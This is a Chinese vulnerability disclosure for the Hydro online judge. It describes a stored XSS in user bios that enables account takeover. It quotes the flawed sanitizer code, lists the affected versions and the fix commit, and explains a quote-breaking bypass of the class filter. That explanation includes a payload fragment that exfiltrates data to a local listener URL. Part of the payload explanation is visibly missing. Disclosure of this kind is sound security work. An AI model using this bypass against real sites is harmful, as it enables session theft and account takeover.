# Hydro 漏洞报告 软件名称:Hydro 开发者或厂商:hydro-dev 代码仓库:https://github.com/hydro-dev/Hydro ## 1. 个人简介存储型 XSS 简要描述:攻击者在个人简介中写入特制 markdown,受害者打开攻击者的简介页面时被 XSS,导致账号被接管。 影响版本:4.16.1 ~ 5.1.0(UI ≤ 4.59.0) 前置条件:攻击者有普通账号。 修复:[Hydro commit 3bae56fe](https://github.com/hydro-dev/Hydro/commit/3bae56fe8edddff12346bcb1c8281269c94688d8) ### 漏洞成因 用户简介(`bio`)按 markdown 保存,渲染时由 `xssProtector` 交给 `FilterXSS` 处理。相关代码如下: ```ts // packages/ui-default/backendlib/markdown-it-xss.ts:180-199 commit 3c8286dd13 export function xssProtector(md) { function protector(state) { const processor = state.inlineMode ? xssInline : xss; for (let i = 0; i < state.tokens.length; i++) { const cur = state.tokens[i]; if (cur.type === 'html_block') { cur.content = processor.process(cur.content); } if (cur.type === 'inline') { const inlineTokens = cur.children; for (let ii = 0; ii < inlineTokens.length; ii++) { if (inlineTokens[ii].type === 'html_inline') { inlineTokens[ii].content = processor.process(inlineTokens[ii].content); } } } } } md.core.ruler.after('linkify', 'xss', protector); } ``` `xss` 覆盖了 FilterXSS 的 `safeAttrValue`。`class` 分支只按空格切分,保留白名单项与以 `language-` 开头的项,返回值没有经过 `escapeAttrValue`。相关代码如下: ```ts // packages/ui-default/backendlib/markdown-it-xss.ts:152-156 commit 3c8286dd13 safeAttrValue(tag, name, value) { if (name === 'id') return escapeAttrValue(`xss-id-${value}`); if (name === 'class') { return value.split(' ').filter((i) => whitelistClasses.includes(i) || i.startsWith('language-')).join(' '); } return safeAttrValue(tag, name, value, CssFilter); } ``` `language-` 例外由提交 `d9a903de86` 引入,随 4.16.1 发布,4.16.0 及更早版本的 `class` 过滤没有该分支。 FilterXSS 随后把返回值放进 `class="..."`。当值中出现双引号时,属性提前结束,后面的 `'> ``` `String.fromCharCode` 拼出 `http://127.0.0.1:9999/?c=`,这样 payload 中没有引号和空格。`class` 的值为 `language-a">